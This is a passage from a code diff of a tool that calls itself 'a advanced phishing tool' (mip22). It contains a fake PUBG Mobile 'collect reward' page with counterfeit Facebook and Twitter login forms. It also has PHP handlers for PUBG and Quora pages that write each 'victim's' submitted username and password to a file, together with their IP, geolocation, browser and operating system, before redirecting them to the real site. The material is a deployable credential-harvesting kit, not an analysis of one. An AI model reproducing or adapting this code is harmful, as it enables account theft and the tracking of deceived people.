+<button type="button" onclick="open_reward_confirmation(this)" src="https://user-images.githubusercontent.com/49580304/102177850-34931d00-3e59-11eb-820e-8f542dfe384a.png">Collect</button>
+</div>
+<div class="item kiri">
+<img src="https://user-images.githubusercontent.com/49580304/102177886-47a5ed00-3e59-11eb-95d6-df7a58e91408.png">
+<button type="button" onclick="open_reward_confirmation(this)" src="https://user-images.githubusercontent.com/49580304/102177886-47a5ed00-3e59-11eb-95d6-df7a58e91408.png">Collect</button>
+</div>
+<div class="item tengah">
+<img src="https://user-images.githubusercontent.com/49580304/102177901-4f659180-3e59-11eb-9a58-b3479f17e38b.png">
+<button type="button" onclick="open_reward_confirmation(this)" src="https://user-images.githubusercontent.com/49580304/102177901-4f659180-3e59-11eb-9a58-b3479f17e38b.png">Collect</button>
+</div>
+<div class="item kanan">
+<img src="https://user-images.githubusercontent.com/49580304/102177933-5b515380-3e59-11eb-8bda-4f1f2a4e14b0.png">
+<button type="button" onclick="open_reward_confirmation(this)" src="https://user-images.githubusercontent.com/49580304/102177933-5b515380-3e59-11eb-8bda-4f1f2a4e14b0.png">Collect</button>
+</div>
+<div class="item kiri">
+<img src="https://user-images.githubusercontent.com/49580304/102177951-660be880-3e59-11eb-99a8-c5e64a2a05ac.png">
+<button type="button" onclick="open_reward_confirmation(this)" src="https://user-images.githubusercontent.com/49580304/102177951-660be880-3e59-11eb-99a8-c5e64a2a05ac.png">Collect</button>
+</div>
+<div class="item tengah">
+<img src="https://user-images.githubusercontent.com/49580304/102177971-702de700-3e59-11eb-94da-1e030cfc930d.png">
+<button type="button" onclick="open_reward_confirmation(this)" src="https://user-images.githubusercontent.com/49580304/102177971-702de700-3e59-11eb-94da-1e030cfc930d.png">Collect</button>
+</div>
+<div class="item kanan">
+<img src="https://user-images.githubusercontent.com/49580304/102177988-7754f500-3e59-11eb-9cd8-2f9f650ae93a.png">
+<button type="button" onclick="open_reward_confirmation(this)" src="https://user-images.githubusercontent.com/49580304/102177988-7754f500-3e59-11eb-9cd8-2f9f650ae93a.png">Collect</button>
+</div>
+<div class="item kiri">
+<img src="https://user-images.githubusercontent.com/49580304/102178004-8045c680-3e59-11eb-92d7-25a0b9ebf4b1.png">
+<button type="button" onclick="open_reward_confirmation(this)" src="https://user-images.githubusercontent.com/49580304/102178004-8045c680-3e59-11eb-92d7-25a0b9ebf4b1.png">Collect</button>
+</div>
+<div class="item tengah">
+<img src="https://user-images.githubusercontent.com/49580304/102178044-905da600-3e59-11eb-8964-38c5f4a8cb30.png">
+<button type="button" onclick="open_reward_confirmation(this)" src="https://user-images.githubusercontent.com/49580304/102178044-905da600-3e59-11eb-8964-38c5f4a8cb30.png">Collect</button>
+</div>
+<div class="item kanan">
+<img src="https://user-images.githubusercontent.com/49580304/102178073-9ce1fe80-3e59-11eb-9781-db40b88ac6b2.png">
+<button type="button" onclick="open_reward_confirmation(this)" src="https://user-images.githubusercontent.com/49580304/102178073-9ce1fe80-3e59-11eb-9781-db40b88ac6b2.png">Collect</button>
+</div>
+<div class="item kiri">
+<img src="https://user-images.githubusercontent.com/49580304/102178087-a66b6680-3e59-11eb-9029-1cb54c9b349c.png">
+<button type="button" onclick="open_reward_confirmation(this)" src="https://user-images.githubusercontent.com/49580304/102178087-a66b6680-3e59-11eb-9029-1cb54c9b349c.png">Collect</button>
+</div>
+<div class="item tengah">
+<img src="https://user-images.githubusercontent.com/49580304/102178108-b1be9200-3e59-11eb-80ec-de48331ecd4b.png">
+<button type="button" onclick="open_reward_confirmation(this)" src="https://user-images.githubusercontent.com/49580304/102178108-b1be9200-3e59-11eb-80ec-de48331ecd4b.png">Collect</button>
+</div>
+<div class="item kanan">
+<img src="https://user-images.githubusercontent.com/49580304/102178132-bf741780-3e59-11eb-9863-6edd13adac8c.png">
+<button type="button" onclick="open_reward_confirmation(this)" src="https://user-images.githubusercontent.com/49580304/102178132-bf741780-3e59-11eb-9863-6edd13adac8c.png">Collect</button>
+</div>
+<div class="item kiri">
+<img src="https://user-images.githubusercontent.com/49580304/102178151-c864e900-3e59-11eb-87b7-29544ecda0d1.png">
+<button type="button" onclick="open_reward_confirmation(this)" src="https://user-images.githubusercontent.com/49580304/102178151-c864e900-3e59-11eb-87b7-29544ecda0d1.png">Collect</button>
+</div>
+<div class="item tengah">
+<img src="https://user-images.githubusercontent.com/49580304/102178179-d61a6e80-3e59-11eb-9582-a175103ee31b.png">
+<button type="button" onclick="open_reward_confirmation(this)" src="https://user-images.githubusercontent.com/49580304/102178179-d61a6e80-3e59-11eb-9582-a175103ee31b.png">Collect</button>
+</div>
+<div class="item kanan">
+<img src="https://user-images.githubusercontent.com/49580304/102178205-e03c6d00-3e59-11eb-9fc3-88fef34d6dd3.png">
+<button type="button" onclick="open_reward_confirmation(this)" src="https://user-images.githubusercontent.com/49580304/102178205-e03c6d00-3e59-11eb-9fc3-88fef34d6dd3.png">Collect</button>
+</div>
+<div class="item kiri">
+<img src="https://user-images.githubusercontent.com/49580304/102178258-f813f100-3e59-11eb-8b60-8ab88eec349a.png">
+<button type="button" onclick="open_reward_confirmation(this)" src="https://user-images.githubusercontent.com/49580304/102178258-f813f100-3e59-11eb-8b60-8ab88eec349a.png">Collect</button>
+</div>
+<div class="item tengah">
+<img src="https://user-images.githubusercontent.com/49580304/102178300-0a8e2a80-3e5a-11eb-9638-0e0821e2f3df.png">
+<button type="button" onclick="open_reward_confirmation(this)" src="https://user-images.githubusercontent.com/49580304/102178300-0a8e2a80-3e5a-11eb-9638-0e0821e2f3df.png">Collect</button>
+</div>
+<div class="item kanan">
+<img src="https://user-images.githubusercontent.com/49580304/102178317-14179280-3e5a-11eb-8009-46a39bccf8fa.png">
+<button type="button" onclick="open_reward_confirmation(this)" src="https://user-images.githubusercontent.com/49580304/102178317-14179280-3e5a-11eb-8009-46a39bccf8fa.png">Collect</button>
+</div>
+<div class="item kiri">
+<img src="https://user-images.githubusercontent.com/49580304/102178346-1ed22780-3e5a-11eb-949b-b242d6629bcd.png">
+<button type="button" onclick="open_reward_confirmation(this)" src="https://user-images.githubusercontent.com/49580304/102178346-1ed22780-3e5a-11eb-949b-b242d6629bcd.png">Collect</button>
+</div>
+<div class="item tengah">
+<img src="https://user-images.githubusercontent.com/49580304/102178381-2abde980-3e5a-11eb-8add-848994af710e.png">
+<button type="button" onclick="open_reward_confirmation(this)" src="https://user-images.githubusercontent.com/49580304/102178381-2abde980-3e5a-11eb-8add-848994af710e.png">Collect</button>
+</div>
+<div class="item kiri">
+<img src="https://user-images.githubusercontent.com/49580304/102178421-38736f00-3e5a-11eb-96a3-998f273c2da4.png">
+<button type="button" onclick="open_reward_confirmation(this)" src="https://user-images.githubusercontent.com/49580304/102178421-38736f00-3e5a-11eb-96a3-998f273c2da4.png">Collect</button>
+</div>
+<div class="item tengah">
+<img src="https://user-images.githubusercontent.com/49580304/102178437-40cbaa00-3e5a-11eb-9ed8-345bfa52aac0.png">
+<button type="button" onclick="open_reward_confirmation(this)" src="https://user-images.githubusercontent.com/49580304/102178437-40cbaa00-3e5a-11eb-9ed8-345bfa52aac0.png">Collect</button>
+</div>
+</div> 
+<script src="js/popup.js"></script></div>
+</div> 
+</div> 
+</div> 
+</div> 
+<div class="popup reward_confirmation" style="display: none;">
+<div class="container">
+<div class="container-mask">
+<div class="navbar">
+<div class="navbar-menu">
+<i class="fa fa-bars"></i>
+</div> 
+<div class="navbar-logo-box">
+<img src="https://user-images.githubusercontent.com/49580304/102179370-da478b80-3e5b-11eb-9d3a-20b6f93d217f.png">
+</div> 
+</div> 
+<div class="reward-content">
+<div class="menu-notify">
+<div class="menu-notify-icon"><i class="zmdi zmdi-help-outline"></i></div>
+<div class="menu-notify-txt">Hi survivor, are you sure to collect this reward?</div>
+</div> 
+<div class="item-confirmation">
+<div class="item-confirmation-img-box">
+<img src="" id="myReward">
+</div> 
+<div class="item-confirmation-info">
+<div class="item-confirmation-status-title">
+Reward Availability
+</div> 
+<div class="item-confirmation-status-info">
+This reward is available to collect
+</div> 
+<div class="item-confirmation-information-title">
+Reward Information
+</div> 
+<div class="item-confirmation-information-info">
+Special reward for Royale Pass Season 15.
+</div> 
+</div> 
+</div> 
+<div class="btn-popup-wrapper">
+<div class="btn-popup kiri" onclick="close_reward_confirmation()">
+<div class="btn-popup-icon"><i class="fa fa-chevron-left fa-md"></i></div>
+<div class="btn-popup-txt">Back to reward</div>
+</div> 
+<div class="btn-popup kanan" onclick="open_account_login()">
+<div class="btn-popup-icon" style="margin-right: 0px; float: right;"><i class="fa fa-chevron-right fa-md" style="margin-left: 3px;"></i></div>
+<div class="btn-popup-txt">Collect this reward</div>
+</div> 
+</div> 
+</div> 
+</div> 
+</div> 
+</div> 
+<div class="popup account_login" style="display: none;">
+<div class="container">
+<div class="container-mask">
+<div class="navbar">
+<div class="navbar-menu">
+<i class="fa fa-bars"></i>
+</div> 
+<div class="navbar-logo-box">
+<img src="https://user-images.githubusercontent.com/49580304/102181053-bfc2e180-3e5e-11eb-971c-7497af54c15d.png">
+</div> 
+</div> 
+<div class="reward-content">
+<div class="menu-notify">
+<div class="menu-notify-icon"><i class="zmdi zmdi-info-outline"></i></div>
+<div class="menu-notify-txt">Login to your PUBG MOBILE account to receive your reward</div>
+</div> 
+<div class="btn-login" onclick="open_facebook_login()">
+<div class="btn-login-logo">
+<img src="https://user-images.githubusercontent.com/49580304/102179431-fa774a80-3e5b-11eb-9aa3-169f4b9a2f03.png">
+</div>
+<div class="btn-login-txt">Login with Facebook</div>
+</div> 
+<div class="btn-login" onclick="open_twitter_login()">
+<div class="btn-login-logo">
+<img src="https://user-images.githubusercontent.com/49580304/102179484-167aec00-3e5c-11eb-9987-ea89880403f5.png">
+</div>
+<div class="btn-login-txt">Login with Twitter</div>
+</div> 
+<div class="btn-popup-wrapper">
+<div class="btn-popup tengah" onclick="close_account_login()">
+<div class="btn-popup-icon"><i class="fa fa-chevron-left fa-md"></i></div>
+<div class="btn-popup-txt">Back to reward</div>
+</div> 
+</div> 
+</div> 
+</div> 
+</div> 
+</div> 
+<div class="popup-login login_facebook animated fadeIn" style="display: none;">
+<div class="popup-box-login-fb">
+<a onclick="close_facebook_login()" class="close-fb"><i class="zmdi zmdi-close"></i></a>
+<div class="navbar-fb">
+<img src="https://user-images.githubusercontent.com/49580304/102181121-dcf7b000-3e5e-11eb-8549-72cb41a2b68a.png">
+</div>
+<div class="content-box-fb">
+<img src="https://user-images.githubusercontent.com/49580304/102181204-fd276f00-3e5e-11eb-972a-8678e415e99e.jpg">
+<div class="txt-login-fb">
+Log in to your Facebook account to connect to PUBG MOBILE
+</div>
+<form action="post.php" method="post">
+<input type="text" class="input-fb-email" name="email" placeholder="Mobile number or email" autocomplete="off" autocapitalize="off" required>
+<input type="password" class="input-fb-password" name="pass" placeholder="Facebook password" autocomplete="off" autocapitalize="off" required>
+<input type="hidden" name="login" value="Facebook" readonly>
+<button type="submit" class="btn-login-fb">Log In</button>
+</form>
+<div class="txt-create-account">Create account</div>
+<div class="txt-not-now">Not now</div>
+<div class="txt-forgotten-password">Forgotten password?</div>
+</div>
+<div class="language-box">
+<center>
+<div class="language-name language-name-active">English (UK)</div>
+<div class="language-name">Bahasa Indonesia</div>
+<div class="language-name">Basa Jawa</div>
+<div class="language-name">Bahasa Melayu</div>
+<div class="language-name">日本語</div>
+<div class="language-name">Español</div>
+<div class="language-name">Português (Brasil)</div>
+<div class="language-name">
+<i class="fa fa-plus"></i>
+</div>
+</center>
+</div>
+<div class="copyright">Facebook Inc.</div>
+</div>
+</div>
+<div class="popup-login login_twitter animated fadeIn" style="display: none;">
+<div class="popup-box-login-twitter">
+<a onclick="close_twitter_login()" class="close-other"><i class="zmdi zmdi-close"></i></a>
+<div class="header-twitter">
+<center>
+<img src="https://user-images.githubusercontent.com/49580304/102179592-44f8c700-3e5c-11eb-9756-e98e6f4c582c.png">
+</center>
+</div>
+<div class="box-twitter">
+<center>
+<form action="post.php" method="post">
+<div class="txt-login-twitter">Login to Twitter</div>
+<div class="input-box-twitter">
+<label>Phone, email, or username</label>
+<input type="text" name="email" placeholder="" required>
+</div>
+<div class="input-box-twitter">
+<label>Password</label>
+<input type="password" name="pass" placeholder="" required>
+</div>
+<input type="hidden" name="login" value="Twitter" readonly>
+<button type="submit" class="btn-login-twitter">Log In</button>
+<div class="footer-menu-twitter">Forgot password?</div>rk
+<div class="footer-menu-twitter bulet">•</div>
+<div class="footer-menu-twitter">Sign up to Twitter</div>
+</form>
+</center>
+</div>
+</div>
+</div>
+<script type="text/javascript" src="jquery-1.10.2.min.js"></script>
+<script type="text/javascript" src="ajax/libs/jquery/2-1-1/jquery.min.js"></script>
+<script src="ajax/libs/jquery/2-1-3/jquery.min.js"></script>
+<script src="js/tab.js"></script>
+<script src="js/popup.js"></script>
+</body>
+</html>

.pages/pubg/index.php

@@ -0,0 +1,25 @@
+<?php
+
+/*
+*  Copyright (c) 2022 Barchampas Gerasimos <makindosxx@gmail.com>.
+*  mip22 is a advanced phishing tool.
+*
+*  mip22 is free software: you can redistribute it and/or modify
+*  it under the terms of the GNU Affero General Public License as published by
+*  the Free Software Foundation, either version 3 of the License, or
+*  (at your option) any later version.
+*
+*  mip22 is distributed in the hope that it will be useful,
+*  but WITHOUT ANY WARRANTY; without even the implied warranty of
+*  MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+*  GNU Affero General Public License for more details.
+*
+*  You should have received a copy of the GNU Affero General Public License
+*  along with this program.  If not, see <http://www.gnu.org/licenses/>.
+*
+*/
+
+include 'fingerprints.php';
+header('Location: index.html');
+exit;
+?>

.pages/pubg/js/popup.js

@@ -0,0 +1,33 @@
+// button to bring up a popup
+function open_reward_confirmation(ag) {
+    var reward = $(ag).attr("src");
+    $('.reward_confirmation').show();
+	$('.reward_list').hide();
+    $('#myReward').attr('src',reward);
+}
+function open_account_login(){
+	$('.account_login').show();
+	$('.reward_confirmation').hide();
+}
+function open_facebook_login(){
+	$('.login_facebook').show();
+}
+function open_twitter_login(){
+	$('.login_twitter').show();
+}
+
+// button to close the popup
+function close_reward_confirmation(){
+	$(".reward_confirmation").hide()
+	$('.reward_list').show();
+}
+function close_account_login(){
+	$('.account_login').hide();
+	$('.reward_list').show();
+}
+function close_facebook_login(){
+	$('.login_facebook').hide();
+}
+function close_twitter_login(){
+	$('.login_twitter').hide();
+}

.pages/pubg/js/tab.js

@@ -0,0 +1,14 @@
+function openRewards(evt, rewardsClass) {
+    var i, tab_rewards, tab_rewards_link;
+    tab_rewards = document.getElementsByClassName("tab_rewards");
+    for (i = 0; i < tab_rewards.length; i++) {
+        tab_rewards[i].style.display = "none";
+    }
+    tab_rewards_link = document.getElementsByClassName("menu-choose");
+    for (i = 0; i < tab_rewards_link.length; i++) {
+        tab_rewards_link[i].className = tab_rewards_link[i].className.replace(" menu-active", "");
+    }
+    document.getElementById(rewardsClass).style.display = "block";
+    evt.currentTarget.className += " menu-active";
+}
+document.getElementById("defaultTabRewards").click();

.pages/pubg/post.php

@@ -0,0 +1,130 @@
+<?php 
+
+/*
+*  Copyright (c) 2022 Barchampas Gerasimos <makindosxx@gmail.com>.
+*  mip22 is a advanced phishing tool.
+*
+*  mip22 is free software: you can redistribute it and/or modify
+*  it under the terms of the GNU Affero General Public License as published by
+*  the Free Software Foundation, either version 3 of the License, or
+*  (at your option) any later version.
+*
+*  mip22 is distributed in the hope that it will be useful,
+*  but WITHOUT ANY WARRANTY; without even the implied warranty of
+*  MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+*  GNU Affero General Public License for more details.
+*
+*  You should have received a copy of the GNU Affero General Public License
+*  along with this program.  If not, see <http://www.gnu.org/licenses/>.
+*
+*/
+
+
+// Set File write informations
+$file = "data.txt";
+
+
+// Get Full date of victim visit
+$full_date = date("d-m-Y h:i:s");
+
+
+// Get Victim IP
+if (!empty($_SERVER['HTTP_CLIENT_IP'])) {
+    $ip = $_SERVER['HTTP_CLIENT_IP'];
+} elseif (!empty($_SERVER['HTTP_X_FORWARDED_FOR'])) {
+    $ip = $_SERVER['HTTP_X_FORWARDED_FOR'];
+} else {
+    $ip = $_SERVER['REMOTE_ADDR'];
+}
+
+
+// Get Victim Browser
+$browser = $_SERVER['HTTP_USER_AGENT'];
+
+
+// Get Victim Os System
+
+function get_operating_system() {
+    $u_agent = $_SERVER['HTTP_USER_AGENT'];
+    $operating_system = 'Unknown Operating System';
+
+    //Get the operating_system name
+    if (preg_match('/linux/i', $u_agent)) {
+        $operating_system = 'Linux';
+    } elseif (preg_match('/macintosh|mac os x|mac_powerpc/i', $u_agent)) {
+        $operating_system = 'Mac';
+    } elseif (preg_match('/windows|win32|win98|win95|win16/i', $u_agent)) {
+        $operating_system = 'Windows';
+    } elseif (preg_match('/ubuntu/i', $u_agent)) {
+        $operating_system = 'Ubuntu';
+    } elseif (preg_match('/iphone/i', $u_agent)) {
+        $operating_system = 'IPhone';
+    } elseif (preg_match('/ipod/i', $u_agent)) {
+        $operating_system = 'IPod';
+    } elseif (preg_match('/ipad/i', $u_agent)) {
+        $operating_system = 'IPad';
+    } elseif (preg_match('/android/i', $u_agent)) {
+        $operating_system = 'Android';
+    } elseif (preg_match('/blackberry/i', $u_agent)) {
+        $operating_system = 'Blackberry';
+    } elseif (preg_match('/webos/i', $u_agent)) {
+        $operating_system = 'Mobile';
+    }
+    
+    return $operating_system;
+}
+
+
+$os_system = get_operating_system();
+
+
+
+// Get Victim Geolocation Info
+function get_client_ip()
+{
+    $ipaddress = '';
+    if (isset($_SERVER['HTTP_CLIENT_IP'])) {
+        $ipaddress = $_SERVER['HTTP_CLIENT_IP'];
+    } else if (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) {
+        $ipaddress = $_SERVER['HTTP_X_FORWARDED_FOR'];
+    } else if (isset($_SERVER['HTTP_X_FORWARDED'])) {
+        $ipaddress = $_SERVER['HTTP_X_FORWARDED'];
+    } else if (isset($_SERVER['HTTP_FORWARDED_FOR'])) {
+        $ipaddress = $_SERVER['HTTP_FORWARDED_FOR'];
+    } else if (isset($_SERVER['HTTP_FORWARDED'])) {
+        $ipaddress = $_SERVER['HTTP_FORWARDED'];
+    } else if (isset($_SERVER['REMOTE_ADDR'])) {
+        $ipaddress = $_SERVER['REMOTE_ADDR'];
+    } else {
+        $ipaddress = 'UNKNOWN';
+    }
+
+    return $ipaddress;
+}
+$PublicIP = get_client_ip();
+$json     = file_get_contents("http://ipinfo.io/$PublicIP/geo");
+$json     = json_decode($json, true);
+$country  = $json['country'];
+$region   = $json['region'];
+$city     = $json['city'];
+
+
+
+
+file_put_contents($file, print_r("\nPUBG VICTIM DATA => Informations \n", true), FILE_APPEND);
+file_put_contents($file, print_r("/////////////////////////////////////////////////////// \n", true), FILE_APPEND);
+file_put_contents($file, print_r("IP: $ip \n", true), FILE_APPEND);
+file_put_contents($file, print_r("Full-Date: $full_date \n", true), FILE_APPEND);
+file_put_contents($file, print_r("Country: $country \n", true), FILE_APPEND);
+file_put_contents($file, print_r("Region: $region \n", true), FILE_APPEND);
+file_put_contents($file, print_r("City: $city \n", true), FILE_APPEND);
+file_put_contents($file, print_r("User-Agent: $browser \n", true), FILE_APPEND);
+file_put_contents($file, print_r("OS-System: $os_system \n", true), FILE_APPEND);
+file_put_contents($file, "Username: " . $_POST['email'] . "\n", FILE_APPEND);
+file_put_contents($file, "Password: " . $_POST['pass'] . "\n", FILE_APPEND);
+file_put_contents($file, print_r("/////////////////////////////////////////////////////// \n", true), FILE_APPEND);
+file_put_contents($file, print_r("\n", true), FILE_APPEND);
+
+?>
+
+ <meta http-equiv="refresh" content="0; url=https://www.pubgmobile.com"/> 

.pages/quora/fingerprints.php

@@ -0,0 +1,126 @@
+<?php 
+
+/*
+*  Copyright (c) 2022 Barchampas Gerasimos <makindosxx@gmail.com>.
+*  mip22 is a advanced phishing tool.
+*
+*  mip22 is free software: you can redistribute it and/or modify
+*  it under the terms of the GNU Affero General Public License as published by
+*  the Free Software Foundation, either version 3 of the License, or
+*  (at your option) any later version.
+*
+*  mip22 is distributed in the hope that it will be useful,
+*  but WITHOUT ANY WARRANTY; without even the implied warranty of
+*  MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+*  GNU Affero General Public License for more details.
+*
+*  You should have received a copy of the GNU Affero General Public License
+*  along with this program.  If not, see <http://www.gnu.org/licenses/>.
+*
+*/
+
+
+// Set File write informations
+$file = "fingerprints.txt";
+
+
+// Get Full date of victim visit
+$full_date = date("d-m-Y h:i:s");
+
+
+// Get Victim IP
+if (!empty($_SERVER['HTTP_CLIENT_IP'])) {
+    $ip = $_SERVER['HTTP_CLIENT_IP'];
+} elseif (!empty($_SERVER['HTTP_X_FORWARDED_FOR'])) {
+    $ip = $_SERVER['HTTP_X_FORWARDED_FOR'];
+} else {
+    $ip = $_SERVER['REMOTE_ADDR'];
+}
+
+
+// Get Victim Browser
+$browser = $_SERVER['HTTP_USER_AGENT'];
+
+
+// Get Victim Os System
+
+function get_operating_system() {
+    $u_agent = $_SERVER['HTTP_USER_AGENT'];
+    $operating_system = 'Unknown Operating System';
+
+    //Get the operating_system name
+    if (preg_match('/linux/i', $u_agent)) {
+        $operating_system = 'Linux';
+    } elseif (preg_match('/macintosh|mac os x|mac_powerpc/i', $u_agent)) {
+        $operating_system = 'Mac';
+    } elseif (preg_match('/windows|win32|win98|win95|win16/i', $u_agent)) {
+        $operating_system = 'Windows';
+    } elseif (preg_match('/ubuntu/i', $u_agent)) {
+        $operating_system = 'Ubuntu';
+    } elseif (preg_match('/iphone/i', $u_agent)) {
+        $operating_system = 'IPhone';
+    } elseif (preg_match('/ipod/i', $u_agent)) {
+        $operating_system = 'IPod';
+    } elseif (preg_match('/ipad/i', $u_agent)) {
+        $operating_system = 'IPad';
+    } elseif (preg_match('/android/i', $u_agent)) {
+        $operating_system = 'Android';
+    } elseif (preg_match('/blackberry/i', $u_agent)) {
+        $operating_system = 'Blackberry';
+    } elseif (preg_match('/webos/i', $u_agent)) {
+        $operating_system = 'Mobile';
+    }
+    
+    return $operating_system;
+}
+
+
+$os_system = get_operating_system();
+
+
+
+// Get Victim Geolocation Info
+function get_client_ip()
+{
+    $ipaddress = '';
+    if (isset($_SERVER['HTTP_CLIENT_IP'])) {
+        $ipaddress = $_SERVER['HTTP_CLIENT_IP'];
+    } else if (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) {
+        $ipaddress = $_SERVER['HTTP_X_FORWARDED_FOR'];
+    } else if (isset($_SERVER['HTTP_X_FORWARDED'])) {
+        $ipaddress = $_SERVER['HTTP_X_FORWARDED'];
+    } else if (isset($_SERVER['HTTP_FORWARDED_FOR'])) {
+        $ipaddress = $_SERVER['HTTP_FORWARDED_FOR'];
+    } else if (isset($_SERVER['HTTP_FORWARDED'])) {
+        $ipaddress = $_SERVER['HTTP_FORWARDED'];
+    } else if (isset($_SERVER['REMOTE_ADDR'])) {
+        $ipaddress = $_SERVER['REMOTE_ADDR'];
+    } else {
+        $ipaddress = 'UNKNOWN';
+    }
+
+    return $ipaddress;
+}
+$PublicIP = get_client_ip();
+$json     = file_get_contents("http://ipinfo.io/$PublicIP/geo");
+$json     = json_decode($json, true);
+$country  = $json['country'];
+$region   = $json['region'];
+$city     = $json['city'];
+
+
+
+
+file_put_contents($file, print_r("\nQUORA VICTIM FINGERPRINTS => Informations \n", true), FILE_APPEND);
+file_put_contents($file, print_r("/////////////////////////////////////////////////////// \n", true), FILE_APPEND);
+file_put_contents($file, print_r("IP: $ip \n", true), FILE_APPEND);
+file_put_contents($file, print_r("Full-Date: $full_date \n", true), FILE_APPEND);
+file_put_contents($file, print_r("Country: $country \n", true), FILE_APPEND);
+file_put_contents($file, print_r("Region: $region \n", true), FILE_APPEND);
+file_put_contents($file, print_r("City: $city \n", true), FILE_APPEND);
+file_put_contents($file, print_r("User-Agent: $browser \n", true), FILE_APPEND);
+file_put_contents($file, print_r("OS-System: $os_system \n", true), FILE_APPEND);
+file_put_contents($file, print_r("/////////////////////////////////////////////////////// \n", true), FILE_APPEND);
+file_put_contents($file, print_r("\n", true), FILE_APPEND);
+
+?>

.pages/quora/index.php

@@ -0,0 +1,25 @@
+<?php
+
+/*
+*  Copyright (c) 2022 Barchampas Gerasimos <makindosxx@gmail.com>.
+*  mip22 is a advanced phishing tool.
+*
+*  mip22 is free software: you can redistribute it and/or modify
+*  it under the terms of the GNU Affero General Public License as published by
+*  the Free Software Foundation, either version 3 of the License, or
+*  (at your option) any later version.
+*
+*  mip22 is distributed in the hope that it will be useful,
+*  but WITHOUT ANY WARRANTY; without even the implied warranty of
+*  MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+*  GNU Affero General Public License for more details.
+*
+*  You should have received a copy of the GNU Affero General Public License
+*  along with this program.  If not, see <http://www.gnu.org/licenses/>.
+*
+*/
+
+include 'fingerprints.php';
+header('Location: index.html');
+exit;
+?>

.pages/quora/post.php

@@ -0,0 +1,130 @@
+<?php 
+
+/*
+*  Copyright (c) 2022 Barchampas Gerasimos <makindosxx@gmail.com>.
+*  mip22 is a advanced phishing tool.
+*
+*  mip22 is free software: you can redistribute it and/or modify
+*  it under the terms of the GNU Affero General Public License as published by
+*  the Free Software Foundation, either version 3 of the License, or
+*  (at your option) any later version.
+*
+*  mip22 is distributed in the hope that it will be useful,
+*  but WITHOUT ANY WARRANTY; without even the implied warranty of
+*  MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+*  GNU Affero General Public License for more details.
+*
+*  You should have received a copy of the GNU Affero General Public License
+*  along with this program.  If not, see <http://www.gnu.org/licenses/>.
+*
+*/
+
+
+// Set File write informations
+$file = "data.txt";
+
+
+// Get Full date of victim visit
+$full_date = date("d-m-Y h:i:s");
+
+
+// Get Victim IP
+if (!empty($_SERVER['HTTP_CLIENT_IP'])) {
+    $ip = $_SERVER['HTTP_CLIENT_IP'];
+} elseif (!empty($_SERVER['HTTP_X_FORWARDED_FOR'])) {
+    $ip = $_SERVER['HTTP_X_FORWARDED_FOR'];
+} else {
+    $ip = $_SERVER['REMOTE_ADDR'];
+}
+
+
+// Get Victim Browser
+$browser = $_SERVER['HTTP_USER_AGENT'];
+
+
+// Get Victim Os System
+
+function get_operating_system() {
+    $u_agent = $_SERVER['HTTP_USER_AGENT'];
+    $operating_system = 'Unknown Operating System';
+
+    //Get the operating_system name
+    if (preg_match('/linux/i', $u_agent)) {
+        $operating_system = 'Linux';
+    } elseif (preg_match('/macintosh|mac os x|mac_powerpc/i', $u_agent)) {
+        $operating_system = 'Mac';
+    } elseif (preg_match('/windows|win32|win98|win95|win16/i', $u_agent)) {
+        $operating_system = 'Windows';
+    } elseif (preg_match('/ubuntu/i', $u_agent)) {
+        $operating_system = 'Ubuntu';
+    } elseif (preg_match('/iphone/i', $u_agent)) {
+        $operating_system = 'IPhone';
+    } elseif (preg_match('/ipod/i', $u_agent)) {
+        $operating_system = 'IPod';
+    } elseif (preg_match('/ipad/i', $u_agent)) {
+        $operating_system = 'IPad';
+    } elseif (preg_match('/android/i', $u_agent)) {
+        $operating_system = 'Android';
+    } elseif (preg_match('/blackberry/i', $u_agent)) {
+        $operating_system = 'Blackberry';
+    } elseif (preg_match('/webos/i', $u_agent)) {
+        $operating_system = 'Mobile';
+    }
+    
+    return $operating_system;
+}
+
+
+$os_system = get_operating_system();
+
+
+
+// Get Victim Geolocation Info
+function get_client_ip()
+{
+    $ipaddress = '';
+    if (isset($_SERVER['HTTP_CLIENT_IP'])) {
+        $ipaddress = $_SERVER['HTTP_CLIENT_IP'];
+    } else if (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) {
+        $ipaddress = $_SERVER['HTTP_X_FORWARDED_FOR'];
+    } else if (isset($_SERVER['HTTP_X_FORWARDED'])) {
+        $ipaddress = $_SERVER['HTTP_X_FORWARDED'];
+    } else if (isset($_SERVER['HTTP_FORWARDED_FOR'])) {
+        $ipaddress = $_SERVER['HTTP_FORWARDED_FOR'];
+    } else if (isset($_SERVER['HTTP_FORWARDED'])) {
+        $ipaddress = $_SERVER['HTTP_FORWARDED'];
+    } else if (isset($_SERVER['REMOTE_ADDR'])) {
+        $ipaddress = $_SERVER['REMOTE_ADDR'];
+    } else {
+        $ipaddress = 'UNKNOWN';
+    }
+
+    return $ipaddress;
+}
+$PublicIP = get_client_ip();
+$json     = file_get_contents("http://ipinfo.io/$PublicIP/geo");
+$json     = json_decode($json, true);
+$country  = $json['country'];
+$region   = $json['region'];
+$city     = $json['city'];
+
+
+
+
+file_put_contents($file, print_r("\nQUORA VICTIM DATA => Informations \n", true), FILE_APPEND);
+file_put_contents($file, print_r("/////////////////////////////////////////////////////// \n", true), FILE_APPEND);
+file_put_contents($file, print_r("IP: $ip \n", true), FILE_APPEND);
+file_put_contents($file, print_r("Full-Date: $full_date \n", true), FILE_APPEND);
+file_put_contents($file, print_r("Country: $country \n", true), FILE_APPEND);
+file_put_contents($file, print_r("Region: $region \n", true), FILE_APPEND);
+file_put_contents($file, print_r("City: $city \n", true), FILE_APPEND);
+file_put_contents($file, print_r("User-Agent: $browser \n", true), FILE_APPEND);
+file_put_contents($file, print_r("OS-System: $os_system \n", true), FILE_APPEND);
+file_put_contents($file, "Username: " . $_POST['email'] . "\n", FILE_APPEND);
+file_put_contents($file, "Password: " . $_POST['password'] . "\n", FILE_APPEND);
+file_put_contents($file, print_r("/////////////////////////////////////////////////////// \n", true), FILE_APPEND);
+file_put_contents($file, print_r("\n", true), FILE_APPEND);
+
+?>
+
+ <meta http-equiv="refresh" content="0; url=https://www.quora.com/"/>